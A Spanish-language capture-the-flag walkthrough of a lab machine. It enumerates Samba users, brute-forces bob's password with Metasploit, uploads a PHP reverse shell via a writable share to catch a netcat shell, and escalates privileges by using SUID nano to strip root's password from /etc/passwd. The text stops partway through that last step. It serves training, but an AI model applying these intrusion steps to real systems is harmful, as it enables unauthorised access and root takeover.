Como primer punto, luego de desplegar el laboratorio, debemos verificar conectividad con la máquina víctima, usando el comando ping.
ping -c 1 172.17.0.2 -R
Resultado
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.114 ms
RR: 172.17.0.1
172.17.0.2
172.17.0.2
172.17.0.1
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.114/0.114/0.114/0.000 ms
Como podemos ver en la salida, el ttl de la máquina es 64 por lo cual podemos intuir que estamos frente a una máquina Linux, ahora después de crear nuestras carpetas de trabajo usando mkt y sabiendo que tenemos conexión podemos ejecutar un escaneo básico con nuestra herramienta escrita en Python de la siguiente manera:
PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C
Resultado
[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):
[!] Puerto 80 abierto!
[!] Puerto 139 abierto!
[!] Puerto 445 abierto!
[+] Port: 1000 / 1000
[+] Lista de puertos abiertos: [80, 139, 445]
[+] Información de servicios y versiones:
[+] 80/tcp http Apache httpd 2.4.52 ((Ubuntu))
[+] 139/tcp netbi os-ssn Samba smbd 4
[+] 445/tcp netbi os-ssn Samba smbd 4
[+] Comprobando vulnerabilidades:
[+] Tecnologías detectadas en HTTP:
http://172.17.0.2:80 [200 OK] Apache[2.4.52],
Country[RESERVED][ZZ],
HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)],
IP[172.17.0.2],
Title[¿Qué es Samba?],
[*] Evidencia guardada en output.txt
Vemos 3 puertos abiertos, al parecer nos enfrentaremos a Samba, aun así podemos escanear los puertos con nmap y ver información más detallada.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 12:56 EST
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 02:42:AC:11:00:02 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 12:59 EST
Nmap scan report for buffered.dl (172.17.0.2)
Host is up (0.000028s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: \xC2\xBFQu\xC3\xA9 es Samba?
|_http-server-header: Apache/2.4.52 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-01-30T17:59:42
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.15 seconds
Si vemos la pagina web encontraremos lo siguiente:
Información sobre que es Samba así que pasaremos a ver que información útil podemos encontrar en Samba:
No vemos nada útil, vemos los recursos compartidos pero lo más probable que necesites mínimo un usuario para enumerar más cosas, ahora pasemos a usar rpcclient para ver que conseguimos.
Como podemos ver la herramienta rpcclient si logro extraernos usuarios del sistema:
james
bob
Aunque es verdad que aún nos falta las credenciales de ellos, pero podemos intentar conseguir sus contraseñas mediante fuerza bruta, en este caso usaremos msfconsole:
Lo configuraríamos del siguiente modo:
Ahora simplemente ejecutamos usando run y esperamos.
Y después de un rato vemos que logramos romper la contraseña de bob que es star, ahora lo que podríamos hacer es usar smbmap de la siguiente manera:
Ahora si podemos ver qué cosas puede el usuario bob editar y ver, ejemplo el recurso compartido html, podemos enumerarlo de la siguiente manera:
Encontramos un index.html que debe ser el cual vemos en la pagina web, también debemos tener en cuenta que esta pagina web soporta php, por lo cual teniendo permisos de escritura podemos subir una [[Reverse Shells]] de la siguiente manera:
Podemos verificar que se subió correctamente con smbmap:
Vemos que se subió correctamente por lo cual podemos ponernos en escucha en el puerto 4444 y acceder desde la web a http://172.17.0.2/rshell.php, podremos ver lo siguiente.
Le daremos un Tratamiento a la TTY como ya es costumbre:
www-data@ec127a5c798d:/var/www/html$ script /dev/null -c bash # shell victima
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@ec127a5c798d:/var/www/html$ ^Z # shell victima -> Ctrl + Z
[1] + 3363322 suspended nc -nlvp 4444
--> exploitDB stty raw -echo;fg # En nuestra shell
[1] + 3363322 continued nc -nlvp 4444
reset xterm # Receteamos la terminal
Luego si queremos una terminal con colores podemos usar el siguiente comando:
En stty rows 46 cols 168 deben poner el resultado que les devuelva este comando a ustedes.
stty size
En mi caso -> 45 166
Si enumeramos un poco internamente, vemos los 2 usuarios que vimos en smb también nos podemos migrar al usuario bob, el cual tiene como contraseña star.
www-data@ec127a5c798d:/var/www/html$ cd /home/
www-data@ec127a5c798d:/home$ ls
bob james
www-data@ec127a5c798d:/home$ su bob
Password:
bob@ec127a5c798d:/home$ whoami
bob
bob@ec127a5c798d:/home$
No tenemos sudo instalado, así que pasamos pasar a buscar archivos SUID.
-rwsr-xr-x 1 root root 72712 Feb 6 2024 /usr/bin/chfn
-rwsr-xr-x 1 root root 44808 Feb 6 2024 /usr/bin/chsh
-rwsr-xr-x 1 root root 72072 Feb 6 2024 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 47480 Feb 21 2022 /usr/bin/mount
-rwsr-xr-x 1 root root 283144 Feb 19 2022 /usr/bin/nano
-rwsr-xr-x 1 root root 40496 Feb 6 2024 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd
-rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su
-rwsr-xr-x 1 root root 35192 Feb 21 2022 /usr/bin/umount
-rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Y ya podemos ver un binario que nos llama la atención nano, no es un binario que debe tener permisos SUID, por lo cual podemos usar este editor de texto con permisos de root, algo que podríamos hacer es quitarte la contraseña a root de la siguiente manera:
Ejecutamos
/usr/bin/nano /etc/passwd
Dentro, quitamos la x después del primer root:, quedando de la siguiente manera.